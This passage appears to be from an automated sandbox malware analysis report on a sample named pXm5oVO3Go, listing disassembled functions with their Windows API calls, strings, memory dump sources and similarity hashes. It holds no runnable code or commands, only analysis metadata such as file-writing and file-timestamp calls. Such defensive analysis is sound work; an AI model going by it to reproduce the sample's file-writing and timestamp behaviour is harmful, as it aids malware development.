_memset.LIBCMT ref: 1000940C
_strcat_s.LIBCMT ref: 10009427
_sprintf.LIBCMT ref: 100094A8
_sprintf.LIBCMT ref: 100094D0
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 10009506
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 1000958F
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000010,?,00000001), ref: 100095DB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000010,?,00000001), ref: 100095E7

Strings

:, xrefs: 10009487
\, xrefs: 10009471
%s%s, xrefs: 100094A2
text.e, xrefs: 100093CB

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: File$_memset_sprintf$CloseCreateHandleTimeWrite__fassign_strcat_s
String ID: %s%s$:$\$text.e
API String ID: 3001508280-2720340845
Opcode ID: 20582db583dc861384ad0e058ba716e76712ca215dfc85956af61f11d696da3b
Instruction ID: 73a716f2663df8b8e92aea41c103b71399f1627729841feff5178e0e12803359
Opcode Fuzzy Hash: 20582db583dc861384ad0e058ba716e76712ca215dfc85956af61f11d696da3b
Instruction Fuzzy Hash: CC91C171D00A289BFB61CB64CC85BDAB7B8EB09395F0001E6E618A7185D770AFC5CF90

Function 10002D0C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10002D4B
_memset.LIBCMT ref: 10002D74
Sleep.KERNEL32(00000001), ref: 10002D94
_malloc.LIBCMT ref: 10002DCE
_memset.LIBCMT ref: 10002DFB
WriteFile.KERNEL32(?,00000000,1F400000,?,00000000), ref: 10002E13
_free.LIBCMT ref: 10002E1A
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 10002E42
FlushFileBuffers.KERNEL32(?), ref: 10002E4E
CloseHandle.KERNEL32(?), ref: 10002E5A

Strings

lib, xrefs: 10002D8C
cef.dll, xrefs: 10002DA9

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: File$Write_memset$BuffersCloseCreateFlushHandleSleep_free_malloc
String ID: cef.dll$lib
API String ID: 1923221151-1944707463
Opcode ID: ca01e0c2fb6399795f82dae7e3f52f2be417b1a9fccd548e25d36cff5d7fbf62
Instruction ID: 95ace9bfcda8c33f9a2fbc6e56799451f67ef5c6450e70c67937a253407d00e2
Opcode Fuzzy Hash: ca01e0c2fb6399795f82dae7e3f52f2be417b1a9fccd548e25d36cff5d7fbf62
Instruction Fuzzy Hash: 3E31B17190022CAFEB25DF24CC85FEAB7B9EB19340F0041E5F688A6150DAB19FC58F50

Function 100028B9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10002908
_memset.LIBCMT ref: 1000291A
_memset.LIBCMT ref: 10002929
_memset.LIBCMT ref: 10002B1A
_memset.LIBCMT ref: 10002C37
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000001,00000000), ref: 10002CA0
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10002CC3
FlushFileBuffers.KERNEL32(00000000), ref: 10002CCA
CloseHandle.KERNEL32(00000000), ref: 10002CD1

Strings

<, xrefs: 100029B0

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$File$BuffersCloseCreateFlushHandleWrite
String ID: <
API String ID: 2144675991-4251816714
Opcode ID: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction ID: a1f269842447a9dcddcd4be163bf2b0c8b7a3912157e6269aeea71cf59aacecc
Opcode Fuzzy Hash: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction Fuzzy Hash: D5C1CB76900228AFEB21DF648C85DEABBFDEB09394F14C1E6F509A2150DB319F858F54

Function 0054D874 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(0073A27C,?,?,?,0073A260,0073A260,?,0054DCAF,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D887
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,0073A260,0073A260,?,0054DCAF,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D8DD
GlobalHandle.KERNEL32(007A9040), ref: 0054D8E6
GlobalUnlock.KERNEL32(00000000,?,?,?,0073A260,0073A260,?,0054DCAF,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D8F0
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 0054D909
GlobalHandle.KERNEL32(007A9040), ref: 0054D91B
GlobalLock.KERNEL32(00000000,?,?,?,0073A260,0073A260,?,0054DCAF,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D922
LeaveCriticalSection.KERNEL32(00000000,?,?,?,0073A260,0073A260,?,0054DCAF,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D92B
GlobalLock.KERNEL32(00000000,?,?,?,0073A260,0073A260,?,0054DCAF,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D937
_memset.LIBCMT ref: 0054D951
LeaveCriticalSection.KERNEL32(00000000,ED2F953D), ref: 0054D97F

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: 701c7f80717766588c49cf9b396544a02917dc2281a66726b9c9399b8a32ba4c
Instruction ID: 4fc896e0dd397aeb12eaef14b211f37fd946bb1472f086b6f8352429243eca4a
Opcode Fuzzy Hash: 701c7f80717766588c49cf9b396544a02917dc2281a66726b9c9399b8a32ba4c
Instruction Fuzzy Hash: 9B31AF71A00706AFD7249F74CC8DA9ABBFAFF84704F014929F556D7260EB31E9408B60

Function 1000916F Relevance: 10.6, APIs: 7, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,?,0000000D,?), ref: 100091D4
CreateDirectoryA.KERNEL32(?,00000000,?,0000000D,?), ref: 100091E8
__fassign.LIBCMT ref: 1000919B

Part of subcall function 1000BE5B: __mbsnbcpy_l.LIBCMT ref: 1000BE6B

__fassign.LIBCMT ref: 10009253
__fassign.LIBCMT ref: 10009282
GetFileAttributesA.KERNEL32(00000000,?,0000000D,?), ref: 10009295
CreateDirectoryA.KERNEL32(00000000,00000000,?,0000000D,?), ref: 100092A9

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __fassign$AttributesCreateDirectoryFile$__mbsnbcpy_l
String ID:
API String ID: 2854908881-0
Opcode ID: 19ae208bd58dd0a62daa5c8630e2a55888f4f76b224036dc7dc1bf30700462e9
Instruction ID: 5956e6d2c7f77d4cc5354552260656b707d8c1af4a1ca73f2dd12bb7e3efa789
Opcode Fuzzy Hash: 19ae208bd58dd0a62daa5c8630e2a55888f4f76b224036dc7dc1bf30700462e9
Instruction Fuzzy Hash: 5F4115B590428D6BEB50CB68CC88BEA7BEDDB05380F5101E5E994D3186DA709F88CB61

Function 1000A063 Relevance: 9.3, APIs: 6, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000A06D
wsprintfA.USER32 ref: 1000A0FC
wsprintfA.USER32 ref: 1000A41F

Part of subcall function 10008B91: __fassign.LIBCMT ref: 10008BA4

_wprintf.LIBCMT ref: 1000A19B
std::_Xinvalid_argument.LIBCPMT ref: 1000A3FB
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017380,000000FF), ref: 1000A435

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: wsprintf$DebugH_prolog3_OutputStringXinvalid_argument__fassign_wprintfstd::_
String ID:
API String ID: 2279894289-0
Opcode ID: 5e606e6aa0a05db95cc5d0c86f9264e9bc89a53203d1eaa0600f78d532f15940
Instruction ID: 15dd9eba096bb05e6903e10c230cd1e13f32cb1ae0f886c9acc3da2af926b47a
Opcode Fuzzy Hash: 5e606e6aa0a05db95cc5d0c86f9264e9bc89a53203d1eaa0600f78d532f15940
Instruction Fuzzy Hash: D9C16A7590425D9BEF12CFA4CC81ADDBBB8EF0A380F5142AAE909A7145D770AF85CF41

Function 1000BD08 Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000BD22

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

std::exception::exception.LIBCMT ref: 1000BD57
std::exception::exception.LIBCMT ref: 1000BD71
__CxxThrowException@8.LIBCMT ref: 1000BD82

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: d95f4789413638b91aa84ecef32e181d789e58a5d6bfa65bce0fdfdeccd2f804
Instruction ID: bd7f334f1e932a3e7b8b1a8aa2d400e353e82d7f1e8fab280da3017615532154
Opcode Fuzzy Hash: d95f4789413638b91aa84ecef32e181d789e58a5d6bfa65bce0fdfdeccd2f804
Instruction Fuzzy Hash: 5FF02838400A5EABFB04DF54CC42DED7BA5EB002D0F60052AF814EA0A5DF74EB868740

Function 00427FF0 Relevance: 4.6, APIs: 3, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00428044
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,00000000), ref: 004280BE
_wcsrchr.LIBCMT ref: 004280FB

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: FileModuleName_memset_wcsrchr
String ID:
API String ID: 3263482925-0
Opcode ID: 38174b6fb003b41db8f6ad2ddeb13373319d99544d60a7c3dd40589232e91f64
Instruction ID: f5fdb4711c5cb80a5300a3031eb21cdb5188b502cb2df1d3aaf1cf00cc93d5ea
Opcode Fuzzy Hash: 38174b6fb003b41db8f6ad2ddeb13373319d99544d60a7c3dd40589232e91f64
Instruction Fuzzy Hash: 3741E571A002199FDB14DF68CC85BAEB7B8FF54314F1482AEE419E7291DB34AE458B84

Function 100086D0 Relevance: 4.6, APIs: 3, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000871C

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

_malloc.LIBCMT ref: 1000872D
_free.LIBCMT ref: 10008749

Part of subcall function 1000B491: RtlFreeHeap.NTDLL(00000000,00000000,?,1000B064,?,?,1000101C), ref: 1000B4A7
Part of subcall function 1000B491: GetLastError.KERNEL32(?,?,1000B064,?,?,1000101C), ref: 1000B4B9

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: Heap_malloc$AllocateErrorFreeLast_free
String ID:
API String ID: 916394080-0
Opcode ID: 9ff5967c5a77d9676775b1c5cc29b0c5f39e43de9f44d53c9d09c373247b1173
Instruction ID: a00e60491e46dfd1ee58bbd4593486312fc2ca9a753c64ce6e520688288dc10f
Opcode Fuzzy Hash: 9ff5967c5a77d9676775b1c5cc29b0c5f39e43de9f44d53c9d09c373247b1173
Instruction Fuzzy Hash: 70415B75A04656EFEB55CF68C480598BBF8FF08780720419AE999DB74AD730EA50CFD0

Function 10007FB6 Relevance: 4.6, APIs: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10007E17: SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FCD,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007E43

SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000001,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007FEE
_malloc.LIBCMT ref: 1000801E

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: FilePointer$_malloc
String ID:
API String ID: 3040784002-0
Opcode ID: b201b2cbd970e2b698aa026e71b7937ac5f18c2142fedf9cda4a911ccf216a12
Instruction ID: e9e65de8990a35600aa63ecf93a5fe2b6943994b54ace195112ba4e3cbd13dc3
Opcode Fuzzy Hash: b201b2cbd970e2b698aa026e71b7937ac5f18c2142fedf9cda4a911ccf216a12
Instruction Fuzzy Hash: BC41E170E0024AAFFB50DAA4C845B5EBBF1FF043D4F11816AEA54E7289E7759F488B40

Function 10002E6F Relevance: 4.6, APIs: 3, Instructions: 68
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10002E8B
GetFileSize.KERNEL32(00000000,00000000), ref: 10002E96

Part of subcall function 1000AA9E: _malloc.LIBCMT ref: 1000BD22

ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 10002EB1

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: File$CreateReadSize_malloc
String ID:
API String ID: 1520594064-0
Opcode ID: a95b2213d73165cd3d6775a3d50b751076bb32b1058e07c2771ba57d7c97f6cb
Instruction ID: 68624f3e933efa91eaa5f7396baae24bc5eaf6790c19fd373594060868047bb5
Opcode Fuzzy Hash: a95b2213d73165cd3d6775a3d50b751076bb32b1058e07c2771ba57d7c97f6cb
Instruction Fuzzy Hash: 4E1156756001287AFB11AF61DCC9EEB3F6CEF466E0F008125F909A6156DA70AE45C7F0

Function 10007D6B Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000141,00000141,?,10008B63,?,?), ref: 10007D8C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000140,?,1000965A,?,00000004,1000A0D1,?,?,00000334,1000439D,?), ref: 10007DB0
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000020,?,1000965A,?,00000004,1000A0D1,?,?,00000334,1000439D,?), ref: 10007DE5

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: 728afc4fb06e335d4fafcc7d92433849b5f48e6cfbb3e06e1ad6d3530bb74562
Instruction ID: 4f656ac9fc5f2f06108f91d7ec9c633ab968d44dc8153898d38ee8b8eb82a3a9
Opcode Fuzzy Hash: 728afc4fb06e335d4fafcc7d92433849b5f48e6cfbb3e06e1ad6d3530bb74562
Instruction Fuzzy Hash: 0611C671504348BEE7118F688C80B9ABBECEF053A4F10895DF595A72C1D2B1AD448B20

Function 100080E7 Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 10008116

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 7213c61829fe7ab4cc5639b422b216faffa918b448852484d9944ef95b569b9c
Instruction ID: 3476ce63d3aaa573aec64c0bffa9ef49cde6163629ebf3a1eccc858e77ab2209
Opcode Fuzzy Hash: 7213c61829fe7ab4cc5639b422b216faffa918b448852484d9944ef95b569b9c
Instruction Fuzzy Hash: 1D416F75D0021B9BEB10DF64CC81A9DBBB5FF403E4F214569E468A719ADB30AB858F90

Function 0040E360 Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 0040E3DA

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _memmove_s
String ID:
API String ID: 800865076-0
Opcode ID: 3095cf917f2350286aade5e2211f468d19bdb81fb379ed52de83f2cf1c14f51f
Instruction ID: f6c7b27f8eaff605af0a22a58acb08d8d1cbec46cf9e307574cfe919ceb240e6
Opcode Fuzzy Hash: 3095cf917f2350286aade5e2211f468d19bdb81fb379ed52de83f2cf1c14f51f
Instruction Fuzzy Hash: 0121C331600504EFCB00DF5AC889C6EF7A9EF94324B10896EFC046B390DA35AD20DB99

Function 10008A54 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 736c95ca4fd3135a2edcbb07283ab68ac9dc71f1ba12f3538e4f7f7cb6d74957
Instruction ID: b89cec954c075b730a56da69cb46cafd068f6b8bae9ad87e748e45a88384cad6
Opcode Fuzzy Hash: 736c95ca4fd3135a2edcbb07283ab68ac9dc71f1ba12f3538e4f7f7cb6d74957
Instruction Fuzzy Hash: D5018B31604B12EFF721CF18D88085AB7E8FB862E07300A1BE4E5E3989D770AE418B51

Function 1000BA57 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 1000BA5F

Part of subcall function 1000BA2C: GetModuleHandleW.KERNEL32(100185B8,?,1000BA64,00000000,?,1000B4FA,000000FF,0000001E,00000001,00000000,00000000,?,10010014,00000000,00000001,00000000), ref: 1000BA36
Part of subcall function 1000BA2C: GetProcAddress.KERNEL32(00000000,100185A8), ref: 1000BA46

ExitProcess.KERNEL32 ref: 1000BA68

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: abc46e778dca3db5ce812f73b672184a6f01df30641a4562d6bbc8916ecbfb88
Instruction ID: 9e8f86a35322aa789f4e0151c64d6b54dfcfdd38f63c23601c9c439c46ba9861
Opcode Fuzzy Hash: abc46e778dca3db5ce812f73b672184a6f01df30641a4562d6bbc8916ecbfb88
Instruction Fuzzy Hash: 59B09B311001087BDB015F15CC4D85D3F1ADB812A07104010F40405131DF71EE52D681

Function 0040E1B0 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 0040E1FE

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 445250c8ed87e1bebe8596cf02b04436651d17126fa6f344ecf8848ff3af567b
Instruction ID: be568734a41f28fb349ccf2bf21350fb7fb647c90ab0f50d062a53d9c7b53683
Opcode Fuzzy Hash: 445250c8ed87e1bebe8596cf02b04436651d17126fa6f344ecf8848ff3af567b
Instruction Fuzzy Hash: 4C116D76600604AFC318CFA9C881C6AB3A9FF893107148AAEF5598B351EB31ED00CBD4

Function 1000FC7C Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 1000FCBF

Part of subcall function 1000DDF3: __getptd_noexit.LIBCMT ref: 1000DDF3

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: a67366d662c5bd092a589687f11339a4dae3e25b87bc1b37a2dbb48db3d3f10c
Instruction ID: 636ff11a492ce15cdcdc60a6e11a12ef751a60b812adc93f976add26828ff1dc
Opcode Fuzzy Hash: a67366d662c5bd092a589687f11339a4dae3e25b87bc1b37a2dbb48db3d3f10c
Instruction Fuzzy Hash: 2301F13520026E9BFB14CF25CE56FBA3399EB803E4F12412DEC16CA998C730EC01E680

Function 10008B0F Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000103,00000140,000000FE,?,1000965A,?,00000004,1000A0D1,?,?,00000334,1000439D,?), ref: 10008B2A

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: c4b11cf663dedc9a4aa197a2d062e931ecfd140e47d02db53880576ec9a3b569
Instruction ID: 05fb876ac0a7ffa909206c90f41a6c21d31a4450f3bef0f042e6b82b858db211
Opcode Fuzzy Hash: c4b11cf663dedc9a4aa197a2d062e931ecfd140e47d02db53880576ec9a3b569
Instruction Fuzzy Hash: 6301B1B6100A468EF321CE24C815BD63BE9FB003E0F244129E5D58B195EB34D748C714

Function 10007E17 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FCD,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007E43

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8be2a931f1bb5c1e663c23c7387cc1016260f232cf004776458d173a503434cf
Instruction ID: a59443ee6d1aeaa2d9ed199805bd91a064a26d0d23d6a45f21f6b6edd1a505ad
Opcode Fuzzy Hash: 8be2a931f1bb5c1e663c23c7387cc1016260f232cf004776458d173a503434cf
Instruction Fuzzy Hash: 11F0D1B1C1B1D29EFB6CCB04C818D5A7687FB9C2D4B1680EAE40C5B029D6148D40EA94

Function 0054DC5B Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0054DC62

Part of subcall function 005381C8: __CxxThrowException@8.LIBCMT ref: 005381DE
Part of subcall function 005381C8: __EH_prolog3.LIBCMT ref: 005381EB

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID:
API String ID: 2489616738-0
Opcode ID: 14618eda43c9671e68b8fd08d8422abacf40353be5bf252deb74d13aaf15f6c9
